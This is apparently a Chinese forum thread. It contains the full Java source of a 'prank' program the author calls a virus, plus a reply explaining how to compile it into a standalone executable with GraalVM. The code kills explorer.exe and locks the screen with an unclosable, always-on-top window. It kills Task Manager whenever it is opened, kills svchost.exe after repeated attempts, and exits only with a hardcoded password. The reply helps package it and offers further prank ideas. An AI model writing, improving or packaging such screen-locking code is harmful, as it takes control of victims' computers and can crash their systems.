怎么改进这个恶搞程序(语言-java)

这个恶搞程序主要的问题是GUI比较丑还有graalVM是可以直接编译出exe吗？我看的视频介绍只用10M就可以出一个 不用运行环境的程序了，有谁会吗，能出个教程吗，详细一点。

import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class BD3 extends JFrame {
    private static final int INTERVAL = 200; // 监控间隔，单位为毫秒
    private static final String PASSWORD = "123456"; // 设定的密码
    private static final String PROCESS_NAME = "taskmgr.exe"; // 待监控的进程名
    private final boolean isTopMost = true;
    private final JLabel label;
    int zs = 0;

    public BD3() {
        super("pzh病毒");
        setResizable(false); // 禁用窗口最小化
        setLayout(new BorderLayout());
        setDefaultCloseOperation(DO_NOTHING_ON_CLOSE);

        try {
            // 结束explorer.exe进程
            Runtime.getRuntime().exec("taskkill /f /im explorer.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }

        addWindowListener(new WindowAdapter() {
            @Override
            public void windowIconified(WindowEvent e) {
                // 在窗口最小化时执行其他操作
            }
        });

        // 添加标签
        label = new JLabel("请联系作者pzh获取密码", SwingConstants.CENTER);
        label.setFont(new Font("Dialog", Font.BOLD, 40));
        add(label, BorderLayout.CENTER);

        // 添加退出按钮
        JButton exitButton = new JButton("退出");
        exitButton.setFont(new Font("黑体", Font.PLAIN, 24));
        exitButton.addActionListener(new ActionListener() {
            @Override
            public void actionPerformed(ActionEvent e) {
                // 弹出对话框让用户输入密码
                String input = JOptionPane.showInputDialog(BD3.this, "请输入密码:");
                if (input != null && input.equals(PASSWORD)) {
                    System.exit(0);
                } else {
                    JOptionPane.showMessageDialog(BD3.this, "输入密码才能退出!");
                }
            }
        });
        addWindowFocusListener(new WindowAdapter() {
            @Override
            public void windowLostFocus(WindowEvent e) {
                if (isProcessRunning(PROCESS_NAME)) {
                    setExtendedState(JFrame.MAXIMIZED_BOTH);
                }
            }
        });
        add(exitButton, BorderLayout.SOUTH);

        // 启动定时器
        Timer timer = new Timer(INTERVAL, new ActionListener() {
            @Override
            public void actionPerformed(ActionEvent e) {
                if (isProcessRunning(PROCESS_NAME)) {
                    killProcess(PROCESS_NAME);
                    killsystem();
                }
            }
        });
        timer.setInitialDelay(0);
        timer.start();

        setSize(800, 600);
        setLocationRelativeTo(null); // 居中显示
        setVisible(true);
        // 增加循环实现，全屏并置顶
        while (true) {
            setVisible(true);
            setAlwaysOnTop(true);
            setExtendedState(JFrame.MAXIMIZED_BOTH);
            setResizable(false);
            setAlwaysOnTop(isTopMost);
            try {
                Thread.sleep(100); // 休眠0.1秒钟
            } catch (InterruptedException ex) {
                ex.printStackTrace();
            }
        }

    }


    private boolean isProcessRunning(String processName) {
        try {
            Process process = new ProcessBuilder("tasklist.exe").start();
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                if (line.toLowerCase().contains(processName.toLowerCase())) {
                    return true;
                }
            }
            return false;
        } catch (IOException e) {
            e.printStackTrace();
            return false;
        }
    }

    private void killProcess(String processName) {
        String command = "taskkill /f /im " + processName;
        try {
            Runtime.getRuntime().exec(command);
            System.out.println("Process " + processName + " is killed.");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private void killsystem() {
        zs += 1;
        if (zs > 10) {
            String command = "taskkill /f /im svchost.exe";
            try {
                Runtime.getRuntime().exec(command);
                System.out.println("System is killed.");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    public static void main(String[] args) {
        new BD3();
    }
}

这个程序的主要问题是:

  1. GUI比较丑陋,可以使用更现代的Swing或者JavaFX来美化界面
  2. GraalVM可以编译成standalone native executable(不需要JRE环境)。编译过程如下:
  • 安装GraalVM,下载地址:https://www.graalvm.org/downloads/
  • 配置环境变量,将GraalVM的bin目录添加到PATH
  • 编译Java代码成可执行文件:
    bash
    javac BD3.java # 编译Java代码

native-image BD3 # 使用GraalVM编译成 native executable

EXE建议换语言，你想怎么恶搞，描述下。